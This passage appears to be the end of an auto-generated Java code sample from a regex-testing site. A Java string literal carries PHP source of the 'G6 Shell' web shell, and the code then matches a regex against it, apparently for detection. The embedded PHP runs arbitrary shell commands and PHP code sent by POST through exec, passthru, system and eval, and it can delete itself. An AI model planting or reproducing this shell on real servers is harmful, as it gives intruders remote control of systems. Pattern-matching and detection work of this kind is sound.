+ " if(cmd()==\"exec\"){\n"
+ " echo \"Using: exec => \";\n"
+ " exec($_POST['command'], $out);\n"
+ " foreach ($out as $line) {\n"
+ " echo \"$line\\n\";\n"
+ " }\n"
+ " }elseif (cmd()==\"passthru\") { \n\n"
+ " echo \"Using: passthru => \"; \n"
+ " passthru($_POST['command'], $out);\n"
+ " foreach ($out as $line) {\n"
+ " echo \"$line\\n\";\n"
+ " }\n"
+ " }elseif(cmd()==\"system\"){\n"
+ " echo \"Using: system => \";\n"
+ " system($_POST['command'], $out);\n"
+ " foreach ($out as $line) {\n"
+ " echo \"$line\\n\";\n"
+ " }\n"
+ " }\n"
+ "}elseif(strstr($CurrentUrl, \"a253aXN1ZQ\")){\n"
+ " get_srv_info();\n"
+ " echo \"\n"
+ " <h4>Information</h4>\n"
+ " <p>G6 Shell v\".$shellVersion.\" Open Beta Edition - coded by Mr. P-teo, below are the known issues and bugs.</p>\";\n\n"
+ " ?>\n"
+ " <ul>\n"
+ " <li>is_dir function not returning correct result within child dirs of the file browser.</li>\n"
+ " <li>File Browser controls, e.g. rename, create file, delete full dir.</li>\n"
+ " <li>Editing can run into trouble with GET Method Not Implemented error.</li>\n"
+ " </ul>\n"
+ " <br /><br />\n"
+ " <?php\n"
+ "}elseif(strstr($CurrentUrl, \"?eval\")){\n"
+ " get_srv_info();\n"
+ " ?>\n"
+ " <div style=\"float:left;width:700px;\">\n"
+ " <h4>Eval (PHP code execution)</h4>\n"
+ " <form action=\"\" method=\"post\">\n"
+ " <textarea name=\"phpeval\" style=\"width:700px;height:190px;padding:5px;background:#CCCCCC;\">//Example, get all PHP info about the server \n\n"
+ "echo phpinfo();</textarea><br />\n"
+ " <input style=\"padding:4px 10px;margin:10px 0px;\" name=\"evalexecute\" value=\"Execute Code\" type=\"submit\"/>\n"
+ " </form>\n"
+ " </div>\n"
+ " <div style=\"float:right;width:250px;\">\n"
+ " <h4>Information</h4>\n"
+ " <p>Enter your specified php code within the textarea and wait for the response.</p>\n"
+ " <p><strong>Example: </strong><i>echo phpinfo();</i></p><br /><br />\n"
+ " <h4>Warning</h4>\n"
+ " <p>including external files with seperate stylesheets may affect the apearence of G6 styles.</p>\n"
+ " </div>\n"
+ " <?php\n"
+ " if(isset($_POST['evalexecute'])){\n"
+ " eval($_POST['phpeval']);\n"
+ " }\n"
+ "}elseif(strstr($CurrentUrl, \"?srmve\")){\n"
+ " get_srv_info();\n"
+ " ?>\n"
+ " <p>If you are sure you wish to remove the shell click the button below, make sure you are certain as you wil only have one shot at this.</p>\n"
+ " <form action=\"\" method=\"post\">\n"
+ " <center><input style=\"padding:7px 15px;margin:10px 0px;\" name=\"Remove\" value=\"Remove Shell\" type=\"submit\"/></center>\n"
+ " </form>\n"
+ " <?php\n"
+ " if(isset($_POST['Remove'])){\n"
+ " if(file_exists(__FILE__)){\n"
+ " unlink(__FILE__);\n"
+ " }\n"
+ " }\n"
+ "}else{\n"
+ " get_srv_info();\n\n"
+ "?>\n"
+ " <br /><br /><br /><br /><div class='Logo'>G6 v<?php echo $shellVersion; ?></div><div class='logotext'>Private Shell Coded By Mr. P-teo</div><br /><br /><br />\n"
+ " <?php\n"
+ "}\n"
+ "ob_flush();\n"
+ "?>\n"
+ "</div>\n"
+ "<body>\n"
+ "</html>";
final Pattern pattern = Pattern.compile(regex, Pattern.DOTALL | Pattern.CASE_INSENSITIVE);
final Matcher matcher = pattern.matcher(string);
if (matcher.find()) {
System.out.println("Full match: " + matcher.group(0));
for (int i = 1; i <= matcher.groupCount(); i++) {
System.out.println("Group " + i + ": " + matcher.group(i));
}
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html